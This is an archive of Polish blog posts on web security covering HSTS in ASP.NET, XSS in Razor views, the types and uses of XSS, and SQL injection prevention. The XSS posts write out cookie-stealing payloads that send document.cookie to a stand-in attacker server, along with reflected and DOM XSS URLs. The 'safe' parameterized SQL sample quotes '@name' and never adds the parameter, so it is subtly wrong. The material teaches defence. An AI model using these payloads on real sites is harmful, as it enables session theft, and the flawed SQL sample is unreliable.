Category Archives: Bezpieczeństwo

HSTS w ASP.NET z użyciem biblioteki NWebsec

W poprzednim poście opisałem zasadę działania protokołu HTTP Strict Transport Security. W skrócie najważniejsze punkty to:

  • Serwer zwraca specjalny nagłówek “Strict-Transport-Security”, który powinien być przesyłany wyłącznie przez HTTPS.
  • Po otrzymaniu nagłówka od serwera, przeglądarka zawsze będzie łączyć się przez HTTPS, a nie HTTP. Użytkownik jeśli nawet będzie chciał użyć HTTP, przeglądarka dokona wewnętrznego przekierowania na HTTPS (307 – internal redirect).

Oczywiście można samemu zwracać odpowiedni nagłówek, ale lepiej skorzystać z gotowych pakietów nuget. Często programiści zawsze zwracają strict-transport-security, co jest również błędne – specyfikacja mówi wyraźnie, że powinno go zwracać się wyłącznie przez https.

Skorzystamy zatem z pakietu NWebsec.  Zestaw zawiera wiele różnych bibliotek związanych z bezpieczeństwem aplikacji webowych. W naszym przypadku zainteresowani jesteśmy wyłącznie HSTS.

Po zainstalowaniu,  wystarczy w OWIN startup:

    public class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            app.UseHsts(options => options.MaxAge(seconds: 10886400).IncludeSubdomains().Preload());
        }
    }

Za pomocą FluentInterface możemy łatwo zmodyfikować każdy parametr nagłówka. Jeśli odpalimy teraz aplikacje, zobaczymy, że faktycznie nagłówek jest zwracany:

1

Warto jednak wciąż wymuszać globalnie HTTPS za pomocą atrybutu RequiresHttpsAttribute:

    public class FilterConfig
    {
        public static void RegisterGlobalFilters(GlobalFilterCollection filters)
        {
            filters.Add(new HandleErrorAttribute());
            filters.Add(new RequireHttpsAttribute());
        }
    }

Ważne to jest dla pierwszego odczytania HSTS oraz stanowi to drugą warstwę bezpieczeństwa (np. gdyby dana przeglądarka nie wspierała HSTS).

Bezpieczeństwo web: Nagłówek HTTP Strict Transport Security (HSTS)

Protokół HTTPS jest dzisiaj powszechny na wszystkich stronach z wrażliwymi informacjami. Banki są klasycznym przykładem. HTTPS “gwarantuje”, że dane są przesyłane w szyfrowanej formie, a klient wie, że łączy się z oryginalną stroną. Certyfikat publikowany przez stronę jest gwarantem, że korzystamy właśnie z tej aplikacji, z której zamierzaliśmy. W najprostszej postaci wygląda to zatem następująco:

1

Tego przynajmniej spodziewamy się… Problem w tym, że czasami użytkownicy wpisują adres http://… W takich sytuacjach,  programiści przekierowują użytkownika na HTTPS, tzn. sekwencja wygląda następująco:

  1. Użytkownik wpisuje adres http://www.domain.com
  2. Serwer zwraca kod 302 – przekierowanie na https://www.domain.com
  3. Przeglądarka od teraz korzysta z bezpiecznej wersji czyli https://www.domain.com

Wygląda więc to następująco:

2

Niestety jest to bardzo niebezpieczna architektura. Bardzo dużo stron, włączając w to banki, korzysta z przekierowania na HTTPS.  Wiele banków korzysta z HTTP na stronie głównej, a do HTTPS jest użytkownik przełączony dopiero w momencie chęci zalogowania do strony. Oznacza to, że strona główna banku jest niebezpieczna.  Wszystko co na niej znajduje się może zostać podrobione (brak certyfikatu). Jeśli ktoś podmieni stronę główną i wstawi np. link do logowania do kompletnie innej strony,  możliwe, że staniemy się ofiarą phishing.

Wyobraźmy sobie, że korzystamy z Internetu w miejscu publicznym, np. używając WIFI. Możliwe, że ktoś wstawi proxy między nami, a docelowymi stronami.  Co jeśli staniemy się ofiarą ataku man in the middle? Taki serwer proxy będzie w stanie przekierowywać wszystkie nasze żądania. Wtedy powyższa sekwencja może wyglądać już tak:

  1. Użytkownik wpisuje http://www.domain.com
  2. Man in the middle przechwytuje żądanie i zwraca jakąkolwiek treść..
  3. Użytkownik nie zauważa nic podejrzanego. Strona wygląda identycznie – jesteśmy ofiarami phishing.

Czujny użytkownik zauważy, że po kliknięciu loguj na stronie głównej banku nie został przekierowany do https i wciąż korzysta z nieszyfrowanego protokołu. Niestety jest to rzadkość.

Problem jest jeszcze większy, ponieważ MITM (man in the middle), może rzeczywiście logować się do banku. Użytkownik poda hasło poprzez HTTP do MITM, a potem MITM nawiąże połączenie szyfrowane HTTPS z prawdziwą stroną banku. Możliwe jest zatem, że użytkownik będzie widział prawdziwe dane (balans konta itp), ale wszystko serwowane będzie przez MITM, który łączy się poprzez HTTPS z prawdziwym bankiem, a potem przekierowuje wszystko w postaci HTTP do użytkownika.

Rozwiązanie składa się z dwóch etapów. Przede wszystkim każdy bank powinien w pełni implementować HTTPS – na każdej podstronie.

Druga kwestia jest trudniejsza. Użytkownicy wciąż domyślnie będą wpisywać www.domain.com, a nie https://www.domain.com. Jak już wiemy, przekierowanie jest niebezpieczne bo nie wiadomo, czy ktoś po drodze nie przechwyci zapytania i nie będzie “karmił” nas dowolnymi danymi.

Z tego względu, wymyślono protokół HSTS (HTTP Strict Transport Security). Jest to protokół implementowany bezpośrednio przez przeglądarki. Jeśli serwer ustawi odpowiedni nagłówek, wtedy przeglądarka jest zobowiązana łączyć się zawsze przez HTTPS, a nie HTTP. Dzięki temu, MITM jest nie możliwy, ponieważ nigdy nie dojdzie do połączenia HTTP, a jak wiemy, dane przesyłane przez HTTPS nie mogą być zmodyfikowane.

Aby przeglądarka łączyła się zawsze przez https, serwer strony musi zwrócić następujący nagłówek w odpowiedzi:

Strict-Transport-Security:max-age=631138520; includeSubDomains; preload

Parametr max-age oznacza, jak długo przeglądarka ma łączyć się zawsze przez https. Powyższy nagłówek zawsze należy zwracać przez HTTPS, a nie przez HTTP. Wynika to z prostego faktu, że przeglądarka nie może ufać niczemu, co pochodzi z HTTP. Łatwo wyobrazić sobie, że przez HTTP, MITM modyfikuje np. max-age do 1.

Sekwencja może zatem teraz wyglądać następująco:
1. Użytkownik wpisuje http://www.domain.com
2. Serwer zwraca 302 oraz https://www.domain.com
3. Przeglądarka łączy się z https://www.domain.com
4. Serwer zwraca nagłówek Strict-transport-security.
5. Użytkownik wpisuje http://www.domain.com
6. Przeglądarka automatycznie przekierowuje na https://www.domain.com (kod 307, internal redirect). Od teraz MITM nie jest w stanie nam zaszkodzić, ponieważ nie wychodzi żadne połączenie HTTP.

Powyższe rozwiązanie ma jednak wciąż pewną lukę.Pierwsze połączenie HTTP wciąż jest niebezpieczne. Co prawda minimalizuje to groźbę ataku MITM ponieważ wystarczy, że użytkownik chociaż raz wcześniej korzystał ze strony (tak, że HSTS został ustawiony). Niestety w skrajnej sytuacji, wciąż mamy ten sam problem (MITM i pierwsze zapytanie z danej przeglądarki).

Z tego względu mamy tzw. pre-loaded lists. Przeglądarki korzystają z tych list i wtedy każda strona, która na niej znajduje się, będzie ładowana automatycznie wyłącznie przez HTTPS. Możemy naszą stronę dodać tutaj.
Po dodaniu do listy, przeglądarki będą łączyć się automatycznie przez HTTPS, nawet za pierwszym razem.
Możemy również zobaczyć adresy aktualnie dodanych stron do tych list.

W następnym wpisie, pokażę jak zaimplementować HSTS w ASP.NET MVC. W międzyczasie zachęcam zapoznać się z kompatybilnością różnych przeglądarek z HSTS .

ASP.NET MVC: Wywoływanie funkcji JavaScript z parametrami z modelu

Czasami w widoku wywołujemy funkcję JavaScript z parametrami, które są przekazane za pomocą ViewModel z kontrolera. Załóżmy, że nasza metoda w kontrolerze wygląda następująco:

       public ActionResult Index()
       {
            return View(new FooModel("Hello World!"));
        }

ViewModel z kolei zawiera jedną właściwość:

    public class FooModel
    {
        public string Text { get; set; }

        public FooModel(string text)
        {
            Text = text;
        }
    }

Następnie zdefiniujmy jakąkolwiek funkcję JS przyjmującą parametry:

<script type="text/javascript">
    function doSomethingInJs(text) {
        $('#sampleContainer').html(text);
    }
</script>

Błędne wywołanie funkcji w razor wygląda z kolei następująco:

 
   <script type="text/javascript">
        doSomethingInJs('@Model.Text');
    </script>

Jest to nic innego, jak klasyczny przykład wstrzyknięcia złośliwego kodu. Dotyczy to wszystkich pól typu string. Nawet jeśli spodziewamy się tylko imienia czy nazwiska, nigdy nie wiadomo jakie dane zawiera view model. Zwykle dane pochodzą z bazy danych. Co jeśli w jakiś sposób, baza danych zawiera już złośliwy kod? Aplikacja powinna traktować wszystkie dane, jako potencjalne zagrożenie.

Co jeśli, następująca treść zostanie przekazana?

    public ActionResult Index()
    {
            return View(new FooModel("<script>alert('Hello World')</script>"));
    }

Na szczęście powyższy kod jest bezpieczny, ponieważ Razor zamieni <script> na znaczniki HTML:

    <script type="text/javascript">
        $(function() {
           doSomethingInJs('&lt;script&gt;alert(&#39;Hello World&#39;)&lt;/script&gt;');
        });
    </script>

Innymi słowy, kod zostanie wyświetlony jak zwykły tekst. Za każdym razem, jak wywołujemy @Model, zawartość jest enkodowana. Co jednak stanie się, jeśli treść zostanie przekazana jako ASCII HEX?

public ActionResult Index()
{
   var text =       "\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x27\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e";

   return View(new FooModel(text));
}

Razor nie zakoduje treści ponieważ jest to zwykły tekst (brak znaczników HTML). Javascript z kolei, rozpoznaje ASCII w postaci hex (za pomocą \x). Efekt będzie taki, że kod javascript wykona się i wyświetli alert. W tej chwili, jeśli zajrzymy do źródła strony, zobaczymy:

 <script type="text/javascript">
        $(function() {
           doSomethingInJs('\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x27\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x27\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
        });
  </script>

Rozwiązaniem jest endkodowanie parametrów funkcji JavaScript za pomocą HttpUtility.JavaScriptStringEncode:

    <script type="text/javascript">
        $(function() {
           doSomethingInJs('@HttpUtility.JavaScriptStringEncode(Model.Text)');
        });
    </script>

Efektem będzie:

    <script type="text/javascript">
        $(function() {           
doSomethingInJs('\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x27\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e');
        });
    </script>

Widzimy, że każdy kod ascii, zostały poprzedzony dodatkowym znakiem ‘\’.

Generalnie połączenie jQuery + mieszanie C# z JavaScript jest nie tylko złą praktyką z punktu widzenia bezpieczeństwa, ale również nie jest to zbyt czysty kod. Nie powinno mieszać się kodu inline z szablonami razor. Te dwie warstwy powinny rozwijać się niezależnie. Da nam to nie tylko łatwiejszy w utrzymaniu kod, ale również jak widać powyżej, łatwiej będzie uniknąć luk w bezpieczeństwie.

Bezpieczeństw web: Jak XSS może być wykorzystany?

W poprzednich wpisach z tego cyklu, opisałem podstawowe typy XSS (Stored, Reflected, DOM-based).
Dzisiaj podam kilka przykładów pokazujących do czego XSS może być wykorzystany.

Przejęcie sesji
Jest to chyba jeden z najczęściej pokazywanych przykładów. Możemy wkleić np. obrazek lub link, zawierający link do naszego serwera. Jako parametr wywołania, za pomocą JavaScript możliwe jest odczytanie ciasteczek użytkownika, które z kolei zawierają identyfikator sesji. Przykład:

<img src=http://www.NaszSerwer.com/images/+document.cookie'/>

Oczywiście ma to wadę – musimy monitorować nasz serwer w celu sprawdzenia, czy ktoś aktualnie jest zalogowany. Identyfikator sesji wygasa, zatem atak ma swoje ograniczenia, jeśli nie jest poprawnie zautomatyzowany. W najprostszej formie polega na monitorowaniu własnego serwera i w przypadku uzyskania sesji, zalogowanie się do atakowanej strony za pomocą sesji. Dopóki sesja nie straci ważności (np. kiedy użytkownik wyloguje się), będziemy mieli nieograniczony dostęp. Z tego względu, użytkownicy zawsze powinni wylogowywać się, jeśli nie korzystają już z danej strony.

Website defacement
Kolejnym, często wykorzystywanym typem ataku, jest “Website defacement”, czyli wklejenie dowolnej treści jako zawartość strony. Najbardziej prymitywne sposoby, to po prostu zaśmiecenie strony reklamami czy treścią niepasującą do danej strony.
Bardziej wyrafinowane ataki, zmodyfikują treść w taki sposób, aby nie było to oczywiste dla każdej osoby. Na przykład, można zmodyfikować ceny usług, adres czy numery kontaktowe. Taki atak może nie być spostrzeżony zbyt szybko, a spowoduje utratę pewnych klientów (np. przez zbyt wysokie ceny lub złe dane adresowe\kontaktowe).

Wstrzykiwanie formularzy
Za pomocą JavaScript możemy zdziałać naprawdę bardzo dużo. Możemy również wstrzyknąć pełny formularz, który będzie wysyłać dane do naszego serwera. Skrajnym przypadkiem jest formularz do logowania. Można np. za pomocą JS wstrzyknąć formularz, który najpierw wysyła login i hasło do naszego serwera, a potem przekazuje je do oryginalnego, prawdziwego formularza. Dzięki temu, atak jest niewidzialny. Użytkownik faktycznie byłby zalogowany do prawdziwej strony, ale nie miałby pojęcia, że w w międzyczasie jego dane zostały wysyłane do zewnętrznego serwera. Atak stanowi wyrafinowaną formę phishing. Bardziej ostrożni użytkownicy, przed wpisaniem hasła sprawdzą certyfikat strony oraz link z którego korzystają. W tym problem, że w przypadku XSS korzystają oni z tej samej domeny, więc bardzo ciężko byłoby im spostrzec, że formularz został podmieniony.

Wykorzystywanie ofiary do przeprowadzenia kolejnych ataków
W pierwszym punkcie o wykradnięciu sesji, napisałem, że trzeba monitorować własny serwer, aby wiedzieć, kiedy dana sesja jest aktywna. Alternatywą jest, przeprowadzenie jakichkolwiek ataków za pomocą ofiary. Innymi słowy, zamiast wykradać jego sesję, lepiej spowodować, aby np. spróbował stworzyć nowe konto.

Jeśli dana osoba, ma uprawnienia administratora, wtedy zamiast wykradać jego sesje i tworzyć nowe konto dla nas, moglibyśmy w jego imieniu, stworzyć nowe konto. Analogicznie z innymi atakami, np. SQL Exception. Atak stanie się zatem zautomatyzowany – każdy użytkownik logujący się do systemu, będzie próbował stworzyć dla nas konto (backdoor). Po pewnym czasie, prawdopodobnie zaloguje się osoba z odpowiednimi pozwoleniami (administrator) i operacja zakończy się sukcesem.

Ponadto, wszelkie logi nie będą prowadzić do nas. Jeśli ktoś stworzy nowe konto dla nas, w logach systemowych będzie jego adres IP, a nie nasz.

Wykradnięcie danych z autocomplete
W JavaScript można odbierać zdarzenia AutoComplete. Jeśli zatem przeglądarka ma w cache nazwę użytkownika lub hasło, wtedy możliwe jest przesłanie danych do zewnętrznego serwera. Atak wygląda podobnie do wykradnięcia sesji. Po prostu zamiast odczytywania ciasteczek, podłączamy się pod autocomplete.

To tylko “klasyczne” przypadki. W Internecie znajduje się wiele innych przykładów, które były wykorzystane przeciwko Amazon czy MySpace. Część z nich w działaniu przypomina klasyczne wirusy, które potrafią się rozprzestrzeniać z jednej strony na drugą. Pamiętajmy jedno – każdy z opisanych dotychczas ataków (SQL injection, XSS) może być tak eskalowany, że spowoduje całkowite przejęcie kontroli nad daną infrastrukturą.

Bezpieczeństwo web: XSS, ataki typu stored XSS oraz DOM-based XSS – część 2

W poprzednim poście  skupiłem głównie się na reflected CSS, ale wspomniałem również o stored XSS. Zasada działania ataków typu “Stored xss” jest bardzo prosta – wstrzyknięty kod jest przechowywany w bazie danych. Oznacza to, że potencjalny atak może zostać wykorzystany przeciwko jakiemukolwiek użytkownikowi odwiedzającemu stronę. W przypadku reflected xss sami musieliśmy zadbać o to, aby ktoś odwiedził stronę z spreparowanymi przez nas danymi.

Z tego względu stored xss (persistent xss) jest dużo bardziej niebezpieczny i większość współczesnych stron lub aplikacji internetowych posiada funkcjonalności, które potencjalnie mogą być podatne na XSS. Jeśli tylko aplikacja zawiera jakieś interaktywne elementy, np. służące do personalizacji strony lub wprowadzania nowej zawartości, wtedy warto zastanowić się czy autorzy przewidzieli, że dane pochodzące od użytkowników mogą zawierać złośliwy kod JavaScript.

Ten typ ataku często nazywany jest również “second-order xss”. Dlaczego? W celu poprawnego przeprowadzania ataku, możemy naszkicować dwa etapy:

  1. Atakujący wstrzykuje złośliwy kod JavaScript np. w formie komentarza na stronie internetowej.  Wstrzyknięty kod może zawierać np. pokazany w poprzednim wpisie JS pobierający ciasteczka zawierające identyfikator sesji.
  2. Osoba odwiedzające stronę, otwiera komentarze, tym samym wykonuje kod odczytujący i wysyłający identyfikator sesji do serwera pod kontrolą osoby atakującej.

Po etapie drugim, identyfikator sesji zostaje skradziony. Skala takiego ataku jest ogromna – można przechwytywać sesje dowolnej osoby, która aktualnie odwiedza stronę. Co gorsze, osoba odwiedzające taką stronę jest kompletnie nieświadoma  co się właśnie stało. W przypadku Reflected XSS,  należy przekonać kogoś do odwiedzenia spreparowanego zapytania. Sam ten fakt, powinien być już podejrzany dla jakiekolwiek użytkownika. W przypadku Stored XSS, nie trzeba wykonywać nic podejrzanego – wystarczy wejść po prostu na zaatakowaną stronę, która niczym nie różni się (przynajmniej z wierzchu) od tej bez wstrzykniętego XSS.

Trzecim typem ataku jest tzw. ‘DOM-based XSS”. Różni się on od dwóch pierwszych tym, że wstrzyknięcie następuje po stronie klienta, a nie serwera.  Podobny jest za to do Reflected XSS, ponieważ zwykle należy przekazać użytkownikowi spreparowany URL.  Jak sama nazwa wskazuje, atak polega na odpowiednim (nieprzewidzianym przez autora) modyfikowaniu DOM. W klasycznym reflected XSS, to serwer modyfikuje odpowiedź i wspomniane wstrzyknięcie kodu również następuje poza przeglądarką użytkownika.

Klasyczny scenariusz DOM-based XSS to:

  1. Spreparowany link jest wysłany do ofiary
  2. Ofiara otwiera stronę. Odpowiedź generowana przez serwer nie zawiera nic podejrzanego.
  3. Przeglądarka modyfikuje DOM w sposób nieoczekiwany ponieważ jeden z parametrów w spreparowanym linku jest wstrzykiwany po stronie klienta.

Najlepiej zaprezentować to na przykładzie. Załóżmy, ze funkcjonalność wyświetlania błędów zaimplementowana w poprzednim poście, została przeniesiona do JS:

<script>
      var url = document.location;
      var errorMsg = url.substring(url.indexOf('error=') + 8, url.length);
      document.write(errorMsg );
</script>

Jeśli ktoś przekaże jako parametr error, kod JS, a nie wiadomość, wtedy oczywiście efekt będzie taki sam jak w przypadku reflected xss. Łatwo sobie wyobrazić następujący URL:

www.domain.com\error?message=<script>alert('test')</script>

Chciałbym jeszcze zaprezentować przykład z  OWASP. Załóżmy, że formularz wyboru języka na stronie wygląda następująco:

Select your language:

<select><script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>

Domyślny język jest przekazywany jest jako query parameter o nazwie “default”. Spodziewane wykorzystanie formularza to np.:

http://www.some.site/page.html?default=Polish

Łatwo jednak domyślić się, że ktoś może:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

XSS jest dość znany i frameworki takie jak ASP.NET MVC, domyślnie potrafią np. kodować wyświetlane treści. Po stronie klienta sprawa wygląda zupełnie inaczej. Nie wszyscy korzystają z podobnych rozwiązań po stronie klienta (np. Angular). Bardzo często , szczególnie w skomplikowanych systemach, warstwa prezentacji w JS jest bardzo cienka i co za tym idzie, nie jest zbyt szczegółowo analizowana pod kątem bezpieczeństwa. Z tego względu, w praktyce łatwiej znaleźć strony podatne na “DOM-Based XSS” niż klasyczny “Reflected XSS”.

Bezpieczeństwo web, Cross-Site Scripting (XSS) – część 1

Dzisiaj powracamy do zagadnień związanych z bezpieczeństwem aplikacji webowych. Przez kilka następnych postów będę pisał o XSS.

Oprócz SQL Injection, XSS jest jednym z “popularniejszych” ataków przeprowadzanych na aplikacje webowe. O ile zasada działania może wydawać się prymitywna, to wiele stron, nawet tych z czołówki (np. Amazon), były podatne na XSS. Co więcej, tak jak SQL Injection, wykorzystanie XSS może spowodować całkowite przejęcie kontroli nad aplikacją. Nie należy więc traktować luki XSS jako problemu wyłącznie warstwy prezentacji.

Chcę, aby wpisy w serii “Bezpieczeństwo web” zawierały informacje od poziomu początkującego do zaawansowanego, więc prawdopodobnie dla wielu z czytelników informacje z pierwszych wpisów mogą być potraktowane jako przypomnienie.

Istnieje kilka podstawowych typów XSS. Zacznijmy od tak zwanego Reflected XSS, również nazywanego Non-persistent XSS.

Załóżmy, że wyświetlanie błędów odbywa się za pomocą skierowania użytkownika do podstrony o adresie:
“www.domain.com\error?message=’Cannot display page’. Strona automatycznie wstrzykuje zawartość parametru “message” jako zawartość.

Co jeśli użytkownika jednak dostarczy link w postaci:

www.domain.com\error?message=<script>alert('test')</script>

Bez zakodowania, strona zamiast wyświetlić tekst, wykona skrypt JavaScript. Podobne przykłady można mnożyć. Często na stronach internetowych można wpisywać komentarze lub recenzje. Jeśli w formularzu zamiast tekstu (tego co autorzy spodziewają się), wstrzyknie się JavaScript, wtedy będziemy mogli wykonać dowolny kod.

Jeśli aplikacja nie weryfikuje treści dostarczonej przez użytkownika, może być podatna na XSS. Wtedy użytkownik może dostarczyć dowolną treść, np. kod HTML czy JavaScript. Typ ataku nazywany jest “Reflected”, ponieważ strona odzwierciedla dokładnie to co zostało przekazane. Non-persistent oznacza, że treść nie została zapisana nigdzie. W przypadku powyższej luki ze stroną wyświetlającą błędy mamy do czynienia z typem non-persistent. Kod zostanie wykonany wyłącznie w kontekście użytkownika, który go przekazał. Inaczej sprawa wygląda z przykładem, gdzie użytkownicy mogą wpisywać dowolne komentarze czy recenzje. Wtedy, przekazany kod będzie wyświetlany jakiemukolwiek użytkownikowi, który odwiedza stronę. Z tego względu będzie to atak typu “persistent xss”.

Powyższe przykłady są oczywiście bardzo sztuczne i nie przyniosą żadnych korzyści osobie atakującej. Wyświetlenie tekstu nie jest zbyt wielką korzyścią, nawet w przypadku persistent xss i wyświetlaniu alertu każdej osobie odwiedzającej stronę. Co najwyżej może być to irytujące dla odwiedzających, ale nie niebezpieczne.

Rozważmy jednak inny przykład. W ciasteczkach, bardzo często przechowywane są ważne informacje. Nierozsądni programiści mogą tam przechowywać nawet hasło. Wiem, że jest to ekstremalny przypadek. Z drugiej jednak strony, większość aplikacji przechowuje tam identyfikator sesji.  Wykradnięcie tego identyfikatora, może umożliwić atakującemu wykonywane kodu operacji w kontekście innego użytkownika. Załóżmy, że nie mamy praw administratora, ale wiemy, że jest jest on właśnie zalogowany do systemu. Jeśli udałoby nam się przechwycić jego identyfikator sesji, wtedy przekazując ten sam id w naszych zapytaniach, system będzie myślał, że jesteśmy administratorem.  Jak widać, w taki sposób moglibyśmy mieć dostęp do wszystkich zasobów strony. W tym czasie możemy usunąć stronę całkowicie lub stworzyć dodatkowe konto o prawach administratora. Dlatego tak ważne jest z punktu widzenia bezpieczeństwa użytkownika, aby wylogować się ze strony, jak tylko skończyliśmy pracę z nią. Nie robiąc tego, utrzymujemy swój identyfikator sesji, co zwiększa ryzyko przeprowadzenia ataku.

Pytanie brzmi, jak przejąć identyfikator sesji za pomocą Reflected XSS?

Wiemy, że możemy wstrzyknąć kod JavaScript. Za pomocą JS, możemy odczytać ciasteczka za pomocą:

var allCookies = document.cookie;

Jeśli zatem przekażemy administratorowi link w postaci:

www.domain.com\error?message='<script>var allCookies = document.cookie</script>'

Wstrzyknięty kod przeczyta ciasteczka administratora czyli również cenny identyfikator sesji. Problem w tym, że wykona to się w przeglądarce tej osoby. Musimy zatem wymyślić jakiś sposób na przetransferowanie jego ciasteczek do naszego serwera.

Sztuczka polega na wstrzyknięciu obrazka, którego link wskazuje na nasz serwer. Co się stanie jeśli wstrzykniemy następujący obrazek?

<img src=http://www.NaszSerwer.com/images/+document.cookie'/>

Przeglądarka, próbując wyświetlić obrazek, wykona zapytanie do powyższego linku. Powyższy link zawiera w sobie wszystkie ciasteczka. Ponadto wskazuje na serwer, który jest pod naszą kontrolą. Pisząc odpowiedni HTTP Handler, będziemy w stanie przechwycić wszystkie zapytania przychodzące do naszego serwera (a jednym z nich jest link zawierający ciasteczka).

Ostateczny link, jaki zatem musimy przekazać administratorowi to:

www.domain.com\error?message='<script>var image=new Image;image.src=http://www.NaszSerwer.com/images+document.cookie</script>'

Jak widać, za pomocą XSS można zdziałać dużo więcej niż tylko zdenerwować użytkowników.
Jednym z przyszłych postów chciałbym również opisać, jak przeglądarki radzą sobie z zapytaniami między różnymi serwerami. W skrócie pisząc, można wysłać zapytanie do innego serwera, ale nie można czytać jego odpowiedzi. Przeczytanie np. JSON z innej usługi jest zatem kłopotliwe. Wysłanie jednak zapytania do innego serwera w celu wyświetlenia obrazka czy załadowania skryptu jest jak najbardziej dozwolone, co powyższy kod demonstruje. Nie jest jednak dozwolone przeczytanie zasobów należących do innej domeny. Ciasteczka na serwerze domain.com może przeczytać wyłącznie skrypt znajdujący się w tej domenie. Jeśli umieścilibyśmy analogiczny skrypt na www.NaszSerwer.com, nie uzyskalibyśmy ciasteczek z www.domain.com.

Dlaczego zatem powyższy atak nie nazywa się np. JavaScript Injection, ale Cross-site scripting? W końcu wstrzykujemy jakiś kod… Wynika to z opisanego właśnie sposobu przekazywania zasobów. Pomimo, że przeczytaliśmy ciasteczka z domeny “www.domain” to przekazywane są one do innej domeny, “www.NaszSerwer.com”. Oznacza to, że nasz skrypt działa tak naprawdę na dwóch różnych stronach (domenach), stąd nazwa “cross-site scripting”.

Bezpieczeństwo web, Zapobieganie SQL Injection

W dzisiejszym poście chciałbym podsumować poprzednie rozważania za pomocą wskazówek jak bronić się przed SQL Injection.

1. Unikanie dynamicznych zapytań
Podstawowa rzecz to oczywiście pisanie zapytań w taki sposób, aby niemożliwe było zmanipulowanie parametrów. Poniższy kod jest skrajnie złą sytuacją:

    var sqlCommand=new SqlCommand(string.Format("Select * From Articles where Name='{0}'",articleName));

Bezpiecznym sposobem jest użycie sparametryzowanych zapytań tzn.:

var sqlCommand=new SqlCommand("Select * From Articles where Name='@name'");
sqlCommand.Parameters["@name"].Value=articleName;

Każdy sterownik baz danych dostarcza analogiczne API do powyższego. Nie powinniśmy sami próbować kodować znaków, aby zapobiec SQL Injection. Istnieje wiele sposobów na wstrzyknięcie kodu i bardzo ciężko samemu oczyścić parametry wejściowe.

Z powyższych parametrów należy ZAWSZE korzystać. Jeśli dane pochodzą z naszej bazy danych to również nie należy przyjmować, że są one bezpieczne i można samemu skonstruować zapytanie. Należy traktować każdy parametr jako potencjalne źródło ataku.

Nawet jeśli spodziewamy się liczby czy innej teoretycznie bezpiecznej wartości, wtedy również nie ma wyjątku od powyższej reguły – żaden parametr nie może zostać wbudowany ręcznie w zapytanie.

Problem w tym, że duża część programistów uważa, że skoro używają sparametryzowane zapytania to nie muszą obawiać się ataków. Wiele “sławnych” wpadek pokazuje, że zdecydowanie nie jest to prawda i wciąż jest to jeden z częściej spotykanych ataków. O ile w prostych aplikacjach (klient-serwer lub po prostu stronach internetowych) trudno popełnić błąd, to w systemach Enterprise nie jest już to takie trudne.

2. Użytkownik w Connection String

Stosunkowo często, ta sama baza danych jest wykorzystywana przez kilka aplikacji. Szczególnie, gdy firmy przenoszą swój monolityczny system do SOA, zwłaszcza w pierwszych etapach refaktoryzacji, ta sama baza danych jest współdzielona przez różne usługi.

Co za tym idzie, nie mamy już takiej kontroli nad dostępem. Nawet jeśli nasza aplikacja używa
sparametryzowanych zapytań, możliwe jest, że któraś z wielu usług zawiera błąd. Za pomocą eskalacji opisanej w poprzednim poście, atakujący może przejąć kontrolę nawet nad całą infrastrukturą.

Z tego względu, zawsze należy tworzyć użytkowników o jak najniższych przywilejach. Jeśli aplikacja A, korzysta wyłącznie z tabel B,C, wtedy użytkownik w ConnectionString powinien mieć dostęp wyłącznie do nich. Często spotykam connection string, gdzie użytkownik ma dostęp do całej bazy danych, włącznie z możliwością zapisu. W skrajnych sytuacjach, aplikacje webowe korzystają nawet z kont, które mogą tworzyć i usuwać tabele…

Nigdy nie popadajmy w złudzenie, że skoro dla mnie oczywiste są sparametryzowane zapytania czy ORM, to wszyscy i zawsze będą taki kod pisać. Systemy ewoluują, część z nich jest odziedziczona albo outsourcowanana. Im bardziej skomplikowany system, tym trudniej mieć na tym kontrolę. Niektóre systemy działają od np. 20 lat i ciężko mieć tutaj pewność. Oczywiście sytuacja jest luksowana, gdy piszemy system od zera. Wtedy powyższe problemy  pojawią się dopiero za 10 lat, o ile wcześniej z różnych innych względów takowy projekt nie upadnie.

3. Aktualizacja oprogramowania, bibliotek i innych zależności

Nawet jeśli mamy pewność, że nasz system spełnia punkt pierwszy, to nigdy nie możemy powiedzieć tego samego o wszelkich zależnościach. W przypadku stron internetowych może być to prostu CMS. Inne przykłady to pluginy, Nuget, ORM, sterowniki do baz danych czy nawet całe serwisy

Im bardziej skomplikowany system, tym więcej komponentów utrzymywanych przez inne firmy. Mogą być to nawet całe usługi, nierzadko generujące ogromne ilości danych. Eskalacja SQL Injection może polegać na tym, że przez złamanie usługi utrzymywanej przez zewnętrzną firmę, możliwe stanie się wykradnięcie danych z naszych usług, które myśleliśmy wcześniej, że są bezpieczne ponieważ korzystamy z ORM\SP\sparametryzowanych zapytań.

4. Zapytania, które nie mogą być sparametryzowane

Niestety, nie wszystkie typy zapytań mogą być w łatwy sposób sparametryzowane. Widziałem przypadki, gdzie “ORDER BY DESC” był ręcznie dodawany, w zależności od typu sortowania wybranego przez użytkownika.
Tak jak wspomniałem, unikajmy pisania własnego kodowania takich wartości bo bardzo trudno pokryć wszystkie przypadki. Najrozsądniejszym sposobem jest użycie białych list, czyli dopuszczenie wyłącznie dozwolonych wartości, np. DESC, ASC i nic po za tym.
Nie wszystkie zapytania to pojedyncze SELECT z kilkoma filtrami. Czasami filtry dodawane są dynamicznie i wtedy mogą pojawić się wyzwania, ale to już zależy od konkretnego typu bazy.

5. Walidacja danych

Dobrą praktyką (nie tylko z punktu widzenia bezpieczeństwa) jest szczegółowa walidacja danych. Jeśli pominiemy walidację danych, to nawet, gdy nie wywoła one bezpośrednio problemu (poprzez parametryzację), to nigdy nie wiadomo, czy nie zostanie wykorzystane jakoś we wtórnych atakach, potencjalnie bazujących na zaufaniu do danych pochodzących z bazy danych.

